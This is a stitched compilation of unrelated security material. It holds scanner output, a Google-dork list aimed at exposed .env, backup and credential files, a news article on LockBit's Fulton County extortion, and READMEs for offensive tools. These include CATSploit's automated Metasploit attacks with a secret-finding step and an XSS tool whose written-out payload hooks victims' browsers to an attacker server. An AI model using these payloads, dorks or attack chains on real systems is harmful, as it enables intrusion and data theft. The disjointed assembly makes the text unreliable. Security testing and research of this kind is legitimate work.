example1/web.xml:135:135,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example2/web.xml:150:150,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example3/web.xml:109:109,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
example4/web.xml:108:108,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
example5/web.xml:166:166,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example6/web.xml:2:2,J2EE Misconfiguration,Excessive Session Timeout,3.0,5.0,X
example7/web.xml:162:162,J2EE Misconfiguration,Missing Authentication Method,3.0,5.0,X
WW4L3VCX11zWgKPX51TRw2RENe8STkbCkh5wTV4GuQnbZ1fKYmPFobZhEfS1G9G3vwjBhzioi3vx8JgBx2xLxe4N1gtJee8Mp
A list of Google Dorks for Bug Bounty, Web Application Security, and Pentesting
site:example.com -www -shop -share -ir -mfa
site:example.com ext:php inurl:?
site:openbugbounty.org inurl:reports intext:"example.com"
site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess
inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com
inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com
inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com
inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= | inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com
inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com
inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | inurl:php site:example[.]com
inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com
inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com"
site:pastebin.com "example.com"
site:jsfiddle.net "example.com"
site:codebeautify.org "example.com"
site:codepen.io "example.com"
site:s3.amazonaws.com "example.com"
site:blob.core.windows.net "example.com"
site:googleapis.com "example.com"
site:drive.google.com "example.com"
site:dev.azure.com "example[.]com"
site:onedrive.live.com "example[.]com"
site:digitaloceanspaces.com "example[.]com"
site:sharepoint.com "example[.]com"
site:s3-external-1.amazonaws.com "example[.]com"
site:s3.dualstack.us-east-1.amazonaws.com "example[.]com"
site:dropbox.com/s "example[.]com"
site:box.com/s "example[.]com"
site:docs.google.com inurl:"/d/" "example[.]com"
site:jfrog.io "example[.]com"
site:firebaseio.com "example[.]com"
site:example.com "choose file"
"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"
site:*/security.txt "bounty"
site:*/server-status apache
inurl:/wp-admin/admin-ajax.php
intext:"Powered by" & intext:Drupal & inurl:user
site:*/joomla/login
Medium articles for more dorks:
https://thegrayarea.tech/5-google-dorks-every-hacker-needs-to-know-fed21022a906
https://infosecwriteups.com/uncover-hidden-gems-in-the-cloud-with-google-dorks-8621e56a329d
https://infosecwriteups.com/10-google-dorks-for-sensitive-data-9454b09edc12
Top Parameters:
https://github.com/lutfumertceylan/top25-parameter
Proviesec dorks:
https://github.com/Proviesec/google-dorks
The FBIβs takedown of the LockBit ransomware group last week came as LockBit was preparing to release sensitive data stolen from government computer systems in Fulton County, Ga. But LockBit is now regrouping, and the gang says it will publish the stolen Fulton County data on March 2 unless paid a ransom. LockBit claims the cache includes documents tied to the countyβs ongoing criminal prosecution of former President Trump, but court watchers say teaser documents published by the crime gang suggest a total leak of the Fulton County data could put lives at risk and jeopardize a number of other criminal trials.
A new LockBit website listing a countdown timer until the promised release of data stolen from Fulton County, Ga.
In early February, Fulton County leaders acknowledged they were responding to an intrusion that caused disruptions for its phone, email and billing systems, as well as a range of county services, including court systems.
On Feb. 13, the LockBit ransomware group posted on its victim shaming blog a new entry for Fulton County, featuring a countdown timer saying the group would publish the data on Feb. 16 unless county leaders agreed to negotiate a ransom.
βWe will demonstrate how local structures negligently handled information protection,β LockBit warned. βWe will reveal lists of individuals responsible for confidentiality. Documents marked as confidential will be made publicly available. We will show documents related to access to the state citizensβ personal data. We aim to give maximum publicity to this situation; the documents will be of interest to many. Conscientious residents will bring order.β
Yet on Feb. 16, the entry for Fulton County was removed from LockBitβs site without explanation. This usually only happens after the victim in question agrees to pay a ransom demand and/or enters into negotiations with their extortionists.
However, Fulton County Commission Chairman Robb Pitts said the board decided it βcould not in good conscience use Fulton County taxpayer funds to make a payment.β
βWe did not pay nor did anyone pay on our behalf,β Pitts said at an incident briefing on Feb. 20.
Just hours before that press conference, LockBitβs various websites were seized by the FBI and the U.K.βs National Crime Agency (NCA), which replaced the ransomware groupβs homepage with a seizure notice and used the existing design of LockBitβs victim shaming blog to publish press releases about the law enforcement action.
The feds used the existing design on LockBitβs victim shaming website to feature press releases and free decryption tools.
Dubbed βOperation Cronos,β the effort involved the seizure of nearly three-dozen servers; the arrest of two alleged LockBit members; the release of a free LockBit decryption tool; and the freezing of more than 200 cryptocurrency accounts thought to be tied to the gangβs activities. The government says LockBit has claimed more than 2,000 victims worldwide and extorted over $120 million in payments.
In a lengthy, rambling letter published on Feb. 24 and addressed to the FBI, the ransomware groupβs leader LockBitSupp announced that their victim shaming websites were once again operational on the dark web, with fresh countdown timers for Fulton County and a half-dozen other recent victims.
βThe FBI decided to hack now for one reason only, because they didnβt want to leak information fultoncountyga.gov,β LockBitSupp wrote. βThe stolen documents contain a lot of interesting things and Donald Trumpβs court cases that could affect the upcoming US election.β
LockBit has already released roughly two dozen files allegedly stolen from Fulton County government systems, although none of them involve Mr. Trumpβs criminal trial. But the documents do appear to include court records that are sealed and shielded from public viewing.
George Chidi writes The Atlanta Objective, a Substack publication on crime in Georgiaβs capital city. Chidi says the leaked data so far includes a sealed record related to a child abuse case, and a sealed motion in the murder trial of Juwuan Gaston demanding the state turn over confidential informant identities.
Chidi cites reports from a Fulton County employee who said the confidential material includes the identities of jurors serving on the trial of the rapper Jeffery βYoung Thugβ Williams, who is charged along with five other defendants in a racketeering and gang conspiracy.
βThe screenshots suggest that hackers will be able to give any attorney defending a criminal case in the county a starting place to argue that evidence has been tainted or witnesses intimidated, and that the release of confidential information has compromised cases,β Chidi wrote. βJudge Ural Glanville has, I am told by staff, been working feverishly behind the scenes over the last two weeks to manage the unfolding disaster.β
LockBitSupp also denied assertions made by the U.K.βs NCA that LockBit did not delete stolen data as promised when victims agreed to pay a ransom. The accusation is an explosive one because nobody will pay a ransom if they donβt believe the ransomware group will hold up its end of the bargain.
The ransomware group leader also confirmed information first reported here last week, that federal investigators managed to hack LockBit by exploiting a known vulnerability in PHP, a scripting language that is widely used in Web development.
βDue to my personal negligence and irresponsibility I relaxed and did not update PHP in time,β LockBitSupp wrote. βAs a result of which access was gained to the two main servers where this version of PHP was installed.β
LockBitSuppβs FBI letter said the group kept copies of its stolen victim data on servers that did not use PHP, and that consequently it was able to retain copies of files stolen from victims. The letter also listed links to multiple new instances of LockBit dark net websites, including the leak page listing Fulton Countyβs new countdown timer.
LockBitβs new data leak site promises to release stolen Fulton County data on March 2, 2024, unless paid a ransom demand.
βEven after the FBI hack, the stolen data will be published on the blog, there is no chance of destroying the stolen data without payment,β LockBitSupp wrote. βAll FBI actions are aimed at destroying the reputation of my affiliate program, my demoralization, they want me to leave and quit my job, they want to scare me because they can not find and eliminate me, I can not be stopped, you can not even hope, as long as I am alive I will continue to do pentest with postpaid.β
In January 2024, LockBitSupp told XSS forum members he was disappointed the FBI hadnβt offered a reward for his doxing and/or arrest, and that in response he was placing a bounty on his own head β offering $10 million to anyone who could discover his real name.
After the NCA and FBI seized LockBitβs site, the groupβs homepage was retrofitted with a blog entry titled, βWho is LockBitSupp? The $10M question.β The teaser made use of LockBitβs own countdown timer, and suggested the real identity of LockBitSupp would soon be revealed.
However, after the countdown timer expired the page was replaced with a taunting message from the feds, but it included no new information about LockBitSuppβs identity.
On Feb. 21, the U.S. Department of State announced rewards totaling up to $15 million for information leading to the arrest and/or conviction of anyone participating in LockBit ransomware attacks. The State Department said $10 million of that is for information on LockBitβs leaders, and up to $5 million is offered for information on affiliates.
In an interview with the malware-focused Twitter/X account Vx-Underground, LockBit staff asserted that authorities had arrested a couple of small-time players in their operation, and that investigators still do not know the real-life identities of the core LockBit members, or that of their leader.
βThey assert the FBI / NCA UK / EUROPOL do not know their information,β Vx-Underground wrote. βThey state they are willing to double the bounty of $10,000,000. They state they will place a $20,000,000 bounty of their own head if anyone can dox them.β
In the weeks leading up to the FBI/NCA takedown, LockBitSupp became embroiled in a number of high-profile personal and business disputes on the Russian cybercrime forums.
Earlier this year, someone used LockBit ransomware to infect the networks of AN-Security, a venerated 30-year-old security and technology company based in St. Petersburg, Russia. This violated the golden rule for cybercriminals based in Russia and former soviet nations that make up the Commonwealth of Independent States, which is that attacking your own citizens in those countries is the surest way to get arrested and prosecuted by local authorities.
LockBitSupp later claimed the attacker had used a publicly leaked, older version of LockBit to compromise systems at AN-Security, and said the attack was an attempt to smear their reputation by a rival ransomware group known as βClop.β But the incident no doubt prompted closer inspection of LockBitSuppβs activities by Russian authorities.
Then in early February, the administrator of the Russian-language cybercrime forum XSS said LockBitSupp had threatened to have him killed after the ransomware group leader was banned by the community. LockBitSupp was excommunicated from XSS after he refused to pay an arbitration amount ordered by the forum administrator. That dispute related to a complaint from another forum member who said LockBitSupp recently stiffed him on his promised share of an unusually large ransomware payout.
KrebsOnSecurity sought comment from LockBitSupp at the ToX instant messenger ID listed in his letter to the FBI. LockBitSupp declined to elaborate on the unreleased documents from Fulton County, saying the files will be available for everyone to see in a few days.
LockBitSupp said his team was still negotiating with Fulton County when the FBI seized their servers, which is why the county has been granted a time extension. He also denied threatening to kill the XSS administrator.
βI have not threatened to kill the XSS administrator, he is blatantly lying, this is to cause self-pity and damage my reputation,β LockBitSupp told KrebsOnSecurity. βIt is not necessary to kill him to punish him, there are more humane methods and he knows what they are.β
Asked why he was so certain the FBI doesnβt know his real-life identity, LockBitSupp was more precise.
βIβm not sure the FBI doesnβt know who I am,β he said. βI just believe they will never find me.β
It seems unlikely that the FBIβs seizure of LockBitβs infrastructure was somehow an effort to stave off the disclosure of Fulton Countyβs data, as LockBitSupp maintains. For one thing, Europol said the takedown was the result of a months-long infiltration of the ransomware group.
Also, in reporting on the attackβs disruption to the office of Fulton County District Attorney Fani Willis on Feb. 14, CNN reported that by then the intrusion by LockBit had persisted for nearly two and a half weeks.
Finally, if the NCA and FBI really believed that LockBit never deleted victim data, they had to assume LockBit would still have at least one copy of all their stolen data hidden somewhere safe.
Fulton County is still trying to recover systems and restore services affected by the ransomware attack. βFulton County continues to make substantial progress in restoring its systems following the recent ransomware incident resulting in service outages,β reads the latest statement from the county on Feb. 22. βSince the start of this incident, our team has been working tirelessly to bring services back up.β
Update, Feb. 29, 3:22 p.m. ET: Just hours after this story ran, LockBit changed its countdown timer for Fulton County saying they had until the morning of Feb. 29 (today) to pay a ransonm demand. When the official deadline neared today, Fulton Countyβs listing was removed from LockBitβs victim shaming website. Asked about the removal of the listing, LockBitβs leader βLockBitSuppβ told KrebsOnSecurity that Fulton County paid a ransom demand. County officials have scheduled a press conference on the ransomware attack at 4:15 p.m. ET today.
CATSploit is an automated penetration testing tool using Cyber Attack Techniques Scoring (CATS) method that can be used without pentester. Currently, pentesters implicitly made the selection of suitable attack techniques for target systems to be attacked. CATSploit uses system configuration information such as OS, open ports, software version collected by scanner and calculates a score value for capture eVc and detectability eVd of each attack techniques for target system. By selecting the highest score values, it is possible to select the most appropriate attack technique for the target system without hack knack(professional pentesterβs skill) .
CATSploit automatically performs penetration tests in the following sequence:
Information gathering and prior information input First, gathering information of target systems. CATSploit supports nmap and OpenVAS to gather information of target systems. CATSploit also supports prior information of target systems if you have.
Calculating score value of attack techniques Using information obtained in the previous phase and attack techniques database, evaluation values of capture (eVc) and detectability (eVd) of each attack techniques are calculated. For each target computer, the values of each attack technique are calculated.
Selection of attack techniques by using scores and make attack scenario Select attack techniques and create attack scenarios according to pre-defined policies. For example, for a policy that prioritized hard-to-detect, the attack techniques with the lowest eVd(Detectable Score) will be selected.
Execution of attack scenario CATSploit executes the attack techniques according to attack scenario constructed in the previous phase. CATSploit uses Metasploit as a framework and Metasploit API to execute actual attacks.
CATSploit has the following prerequisites:
For Metasploit, Nmap and OpenVAS, it is assumed to be installed with the Kali Distribution.
To install the latest version of CATSploit, please use the following commands:
$ git clone https://github.com/catsploit/catsploit.git
$ cd catsploit
$ git clone https://github.com/catsploit/cats-helper.git
$ sudo ./setup.sh
CATSploit is a server-client configuration, and the server reads the configuration JSON file at startup. In config.json
, the following fields should be modified for your environment.
(*) Adjust the number according to the specs of your machine.
To start the server, execute the following command:
$ python cats_server.py -c [CONFIG_FILE]
Next, prepare another console, start the client program, and initiate a connection to the server.
$ python catsploit.py -s [SOCKET_PATH]
After successfully connecting to the server and initializing it, the session will start.
_________ ___________ __ _ __
/ ____/ |/_ __/ ___/____ / /___ (_) /_
/ / / /| | / / \__ \/ __ \/ / __ \/ / __/
/ /___/ ___ |/ / ___/ / /_/ / / /_/ / / /_
\____/_/ |_/_/ /____/ .___/_/\____/_/\__/
/_/
[*] Connecting to cats-server
[*] Done.
[*] Initializing server
[*] Done.
catsploit>
The client can execute a variety of commands. Each command can be executed with -h
option to display the format of its arguments.
usage: [-h] {host,scenario,scan,plan,attack,post,reset,help,exit} ...
positional arguments:
{host,scenario,scan,plan,attack,post,reset,help,exit}
options:
-h, --help show this help message and exit
I've posted the commands and options below as well for reference.
host list:
show information about the hosts
usage: host list [-h]
options:
-h, --help show this help message and exit
host detail:
show more information about one host
usage: host detail [-h] host_id
positional arguments:
host_id ID of the host for which you want to show information
options:
-h, --help show this help message and exit
scenario list:
show information about the scenarios
usage: scenario list [-h]
options:
-h, --help show this help message and exit
scenario detail:
show more information about one scenario
usage: scenario detail [-h] scenario_id
positional arguments:
scenario_id ID of the scenario for which you want to show information
options:
-h, --help show this help message and exit
scan:
run network-scan and security-scan
usage: scan [-h] [--port PORT] targe t_host [target_host ...]
positional arguments:
target_host IP address to be scanned
options:
-h, --help show this help message and exit
--port PORT ports to be scanned
plan:
planning attack scenarios
usage: plan [-h] src_host_id dst_host_id
positional arguments:
src_host_id originating host
dst_host_id target host
options:
-h, --help show this help message and exit
attack:
execute attack scenario
usage: attack [-h] scenario_id
positional arguments:
scenario_id ID of the scenario you want to execute
options:
-h, --help show this help message and exit
post find-secret:
find confidential information files that can be performed on the pwned host
usage: post find-secret [-h] host_id
positional arguments:
host_id ID of the host for which you want to find confidential information
op tions:
-h, --help show this help message and exit
reset:
reset data on the server
usage: reset [-h] {system} ...
positional arguments:
{system} reset system
options:
-h, --help show this help message and exit
exit:
exit CATSploit
usage: exit [-h]
options:
-h, --help show this help message and exit
In this example, we use CATSploit to scan network, plan the attack scenario, and execute the attack.
catsploit> scan 192.168.0.0/24
Network Scanning ... 100%
[*] Total 2 hosts were discovered.
Vulnerability Scanning ... 100%
[*] Total 14 vulnerabilities were discovered.
catsploit> host list
ββββββββββββ³βββββββββββββββββ³βββββββββββ³βββββββββββββββββββββββββββββββββββ³ββββββββ
β hostID β IP β Hostname β Platform β Pwned β
β‘ββββββ βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β attacker β 0.0.0.0 β kali β kali 2022.4 β True β
β h_exbiy6 β 192.168.0.10 β β Linux 3.10 - 4.11 β False β
β h_nhqyfq β 192.168.0.20 β β Microsoft Windows 7 SP1 β False β
ββββββββββββ΄ ββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββββββββββββββββ΄ββββββββ
catsploit> host detail h_exbiy6
ββββββββββββ³βββββββββββββββ³βββββββββββ³βββββββββββββββ³ββββββββ
β hostID β IP β Hostname β Platform β Pwned β
β‘ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β h_exbiy6 β 192.168.0.10 β ubuntu β ubuntu 14.04 β False β
ββββββββββββ΄βββββββββββββββ΄βββββββββββ΄βββββββββββββββ΄β ββββββ
[IP address]
ββββββββββββββββ³βββββββββββ³βββββββ³βββββββββββββ
β ipv4 β ipv4mask β ipv6 β ipv6prefix β
β‘ββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.0.10 β β β β
βββββββββββββ ββ΄βββββββββββ΄βββββββ΄βββββββββββββ
[Open ports]
ββββββββββββββββ³ββββββββ³βββββββ³ββββββββββββββ³βββββββββββββββ³βββββββββββββββββββββββββββββ
β ip β proto β port β service β product β version β
β‘ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.0.10 β tcp β 21 β ftp β ProFTPD β 1.3.5 β
β 192.168.0.10 β tcp β 22 β ssh β OpenSSH β 6.6.1p1 Ubuntu 2ubuntu2.10 β
β 192.168.0.10 β tcp β 80 β http β Apache httpd β 2.4.7 β
β 192.168.0.10 β tcp β 445 β netbios-ssn β Samba smbd β 3.X - 4.X β
β 192.168.0.10 β tcp β 631 β ipp β CUPS β 1.7 β
ββββββββββββββββ΄ββββββββ΄βββββββ΄ββββββββββββββ΄βββββββββββββββ΄βββββββββββββββββββββββββββββ
[Vulnerabilities]
ββββββββββββββββ³ββββββββ³βββββββ³ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ³βββββββββββββββββ
β ip β proto β port β vuln_name β cve β
β‘βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.0.10 β tcp β 0 β TCP Timestamps Information Disclosure β N/A β
β 192.168.0.10 β tcp β 21 β FTP Unencrypted Cleartext Login β N/A β
β 192.168.0.10 β tcp β 22 β Weak MAC Algorithm(s) Supported (SSH) β N/A β
β 192.168.0.10 β tcp β 22 β Weak Encryption Algorithm(s) Supported (SSH) β N/A β
β 192.168.0.10 β tcp β 22 β Weak Host Key Algorithm(s) (SSH) β N/A β
β 192.168.0.10 β tcp β 22 β Weak Key Exchange (KEX) Algorithm(s) Supported (SSH) β N/A β
β 192.168.0.10 β tcp β 80 β Test HTTP dangerous methods β N/A β
β 192.168.0.10 β tcp β 80 β Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check β CVE-2014-3704 β
β 192.168.0.10 β tcp β 80 β Drupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check β N/A β
β 192.168.0.10 β tcp β 80 β Sensitive File Disclosure (HTTP) β N/A β
β 192.168.0.10 β tcp β 80 β Unprotected Web App / Device Installers (HTTP) β N/A β
β 192.168.0.10 β tcp β 80 β Cleartext Transmission of Sensitive Information via HTTP β N/A β
β 192.168.0.10 β tcp β 80 β jQuery < 1.9.0 XSS Vulnerability β CVE-2012-6708 β
β 192.168.0.10 β tcp β 80 β jQuery < 1.6.3 XSS Vulnerability β CVE-2011-4969 β
β 192.168.0.10 β tcp β 80 β Drupal 7.0 Information Disclosure Vulnerability - Active Check β CVE-2011-3730 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Report Vulnerable Cipher Suites for HTTPS β CVE-2016-2183 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Report Vulnerable Cipher Suites for HTTPS β CVE-2016-6329 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Report Vulnerable Cipher Suites for HTTPS β CVE-2020-12872 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection β CVE-2011-3389 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection β CVE-2015-0204 β
ββββββββββββββββ΄ββββββββ΄βββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ΄βββ& #9472;βββββββββββββ
[Users]
βββββββββββββ³ββββββββ
β user name β group β
β‘ββββββββββββββββββββ©
βββββββββββββ΄ββββββββ
catsploit> plan attacker h_exbiy6
Planning attack scenario...100%
[*] Done. 15 scenarios was planned.
[*] To check each scenario, try 'scenario list' and/or 'scenario detail'.
catsploit> scenario list
βββββββββββββββ³βββββ ββββββββ³βββββββββββββββββ³ββββββββ³ββββββββ³ββββββββ³ββββββββββββββββββββββββββββββββ
β scenario id β src host ip β target host ip β eVc β eVd β steps β first attack step β
β‘ββββββββββββββββββββββββββββββββββββγ 3;ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 3d3ivc β 0.0.0.0 β 192.168.0.10 β 1.0 β 32.0 β 1 β exploit/multi/http/jenkins_sβ¦ β
β 5gnsvh β 0.0.0.0 β 192.168.0.10 β 1.0 β 53.76 β 2 β exploit/multi/http/jenkins_sβ¦ β
β 6nlxyc β 0.0.0.0 β 192.168.0.10 β 0.0 β 48.32 β 2 β exploit/multi/http/jenkins_sβ¦ β
β 8jos4z β 0.0.0.0 β 192.168.0.1 0 β 0.7 β 72.8 β 2 β exploit/multi/http/jenkins_sβ¦ β
β 8kmmts β 0.0.0.0 β 192.168.0.10 β 0.0 β 32.0 β 1 β exploit/multi/elasticsearch/β¦ β
β agjmma β 0.0.0.0 β 192.168.0.10 β 0.0 β 24.0 β 1 β exploit/windows/http/manageeβ¦ β
β joglhf β 0.0.0.0 β 192.168.0.10 β 70.0 β 60.0 β 1 β auxiliary/scanner/ssh/ssh_loβ¦ β
β rmgrof β 0.0.0.0 β 192.168.0.10 β 100.0 β 32.0 β 1 β exploit/multi/http/drupal_drβ¦ β
β xuowzk β 0.0.0.0 β 192.168.0.10 β 0.0 β 24.0 β 1 β exploit/multi/http/struts_dmβ¦ β
β yttv51 β 0.0.0.0 β 192.168.0.10 β 0.01 β 53.76 β 2 β exploit/multi/http/jenkins_sβ¦ β
β znv76x β 0.0.0.0 β 192.168.0.10 β 0.01 β 53.76 β 2 β exploit/multi/http/jenkins_sβ¦ β
βββββββββββββββ΄ββββββββββββββ΄βββββββββββββββββ΄ββββββββ΄ββββββββ΄ββββββββ΄ββββββββββββββββββββββββββββββββ
catsploit> scenario detail rmgrof
βββββββββββββββ³βββββββββββββββββ³ββββββββ³βββββββ
β src host ip β target host ip β eVc β eVd β
β‘ββββββββββββββββββββββββββββββββββββββββββββββ©
β 0.0.0.0 β 192.168.0.10 β 100.0 β 32.0 β
βββββββββββββββ΄ββββββββ ββββββββ΄ββββββββ΄βββββββ
[Steps]
βββββ³ββββββββββββββββββββββββββββββββββββββββ³ββββββββββββββββββββββββ
β # β step β params β
β‘βββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββ©
β 1 β exploit/multi/http/drupal_drupageddon β RHOSTS: 192.168.0.10 β
β β β LHOST: 192.168.10.100 β
βββββ΄ββββββββββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββ
catsploit> attack rmgrof
> ~> ~
> Metasploit Console Log
> ~
> ~
[+] Attack scenario succeeded!
catsploit> exit
Bye.
All informations and codes are provided solely for educational purposes and/or testing your own systems.
For any inquiry, please contact the email address as follows:
catsploit@nk.MitsubishiElectric.co.jp
AcuAutomate is an unofficial Acunetix CLI tool that simplifies automated pentesting and bug hunting across extensive targets. It's a valuable aid during large-scale pentests, enabling the easy launch or stoppage of multiple Acunetix scans simultaneously. Additionally, its versatile functionality seamlessly integrates into enumeration wrappers or one-liners, offering efficient control through its pipeline capabilities.
git clone https://github.com/danialhalo/AcuAutomate.git
cd AcuAutomate
chmod +x AcuAutomate.py
pip3 install -r requirements.txt
Before using AcuAutomate, you need to set up the configuration file config.json inside the AcuAutomate folder:
{
"url": "https://localhost",
"port": 3443,
"api_key": "API_KEY"
}
The help parameter (-h) can be used for accessing more detailed help for specific actions
__ _ ___
____ ________ ______ ___ / /_(_) __ _____/ (_)
/ __ `/ ___/ / / / __ \/ _ \/ __/ / |/_/_____/ ___/ / /
/ /_/ / /__/ /_/ / / / / __/ /_/ /> </_____/ /__/ / /
\__,_/\___/\__,_/_/ /_/\___/\__/_/_/|_| \___/_/_/
-: By Danial Halo :-
usage: AcuAutomate.py [-h] {scan,stop} ...
Launch or stop a scan using Acunetix API
positional arguments:
{scan,stop} Action to perform
scan Launch a scan use scan -h
stop Stop a scan
options:
-h, --help show this help message and exit
For launching the scan you need to use the scan actions:
xubuntu:~/AcuAutomate$ ./AcuAutomate.py scan -h
usage: AcuAutomate.py scan [-h] [-p] [-d DOMAIN] [-f FILE]
[-t {full,high,weak,crawl,xss,sql}]
options:
-h, --help show this help message and exit
-p, --pipe Read from pipe
-d DOMAIN, --domain DOMAIN
Domain to scan
-f FILE, --file FILE File containing list of URLs to scan
-t {full,high,weak,crawl,xss,sql}, --type {full,high,weak,crawl,xss,sql}
High Risk Vulnerabilities Scan, Weak Password Scan, Crawl Only,
XSS Scan, SQL Injection Scan, Full Scan (by default)
The domain can be provided with -d flag for single site scan:
./AcuAutomate.py scan -d https://www.google.com
For scanning multiple domains the domains need to be added into the file and then specify the file name with -f flag:
./AcuAutomate.py scan -f domains.txt
The AcuAutomate can also worked with the pipeline input with -p flag:
cat domain.txt | ./AcuAutomate.py scan -p
This is Great ο as it can enable the AcuAutomate to work with other tools. For example we can use the subfinder , httpx and then pipe the output to AcuAutomate for mass scanning with acunetix:
subfinder -silent -d google.com | httpx -silent | ./AcuAutomate.py scan -p
The -t flag can be used to define the scan type. For example the following scan will only detect the SQL vulnerabilities:
./AcuAutomate.py scan -d https://www.google.com -t sql
AcuAutomate only accept the domains with http://
or https://
The stop action can be used for stoping the scan either with -d
flag for stoping scan by specifing the domain or with -a
flage for stopping all running scans.
xubuntu:~/AcuAutomate$ ./AcuAutomate.py stop -h
__ _ ___
____ ________ ______ ___ / /_(_) __ _____/ (_)
/ __ `/ ___/ / / / __ \/ _ \/ __/ / |/_/_____/ ___/ / /
/ /_/ / /__/ /_/ / / / / __/ /_/ /> </_____/ /__/ / /
\__,_/\___/\__,_/_/ /_/\___/\__/_/_/|_| \___/_/_/
-: By Danial Halo :-
usage: AcuAutomate.py stop [-h] [-d DOMAIN] [-a]
options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain of the scan to stop
-a, --all Stop all Running Scans
Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter. @DanialHalo
XSS Exploitation Tool is a penetration testing tool that focuses on the exploit of Cross-Site Scripting vulnerabilities.
This tool is only for educational purpose, do not use it against real environment
Tested on Debian 11
You may need Apache, Mysql database and PHP with modules:
$ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom
$ sudo rm /var/www/index.html
Install Git and pull the XSS-Exploitation-Tool source code:
$ sudo apt-get install git
$ cd /tmp
$ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git
$ sudo mv XSS-Exploitation-Tool/* /var/www/html/
Install composer, then install the application dependencies:
$ sudo apt-get install composer
$ cd /var/www/html/
$ sudo chown -R $your_debian_user:$your_debian_user /var/www/
$ composer install
$ sudo chown -R www-data:$www-data /var/www/
$ sudo mysql
Creating a new user with specific rights:
MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet';
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> quit
Bye
Creating the database (will result in an empty page):
Visit the page http://server-ip/reset_database.php
The file hook.js is a hook. You need to replace the ip address in the first line with the XSS Exploitation Tool server ip address:
var address = "your server ip";
First, create a page (or exploit a Cross-Site Scripting vulnerability) to insert the Javascript hook file (see exploit.html at the root dir):
?vulnerable_param=<script src="http://your_server_ip/hook.js"/>
Then, when victims visit the hooked page, the XSS Exploitation Tool server should list the hooked browsers:
It's a Burp Suite's extension to allow for recursive crawling and scanning of Single Page Applications.
It runs a Chromium browser to scan the webpage for DOM-based XSS.
It can also collect all the requests (XHR, fetch, websockets, etc) issued during the crawling allowing them to be forwarded to Burp's Proxy, Repeater and Intruder.
It requires node and DOMDig.
Latest release can be downloaded here
node
's executable and the path of domdig.js
in the extension's UI.Burp DOM Scanner uses DOMDig as the crawling and scanning engine.
DOMDig is a DOM XSS scanner that runs inside the Chromium web browser and it can scan single page applications (SPA) recursively. Unlike other scanners, DOMDig can crawl any webapplication (including gmail) by keeping track of DOM modifications and XHR/fetch/websocket requests and it can simulate a real user interaction by firing events. During this process, XSS payloads are put into input fields and their execution is tracked in order to find injection points and the related URL modifications.
Details about usage, performed checks and reported vulnerabilities, can be found at DOMDig's page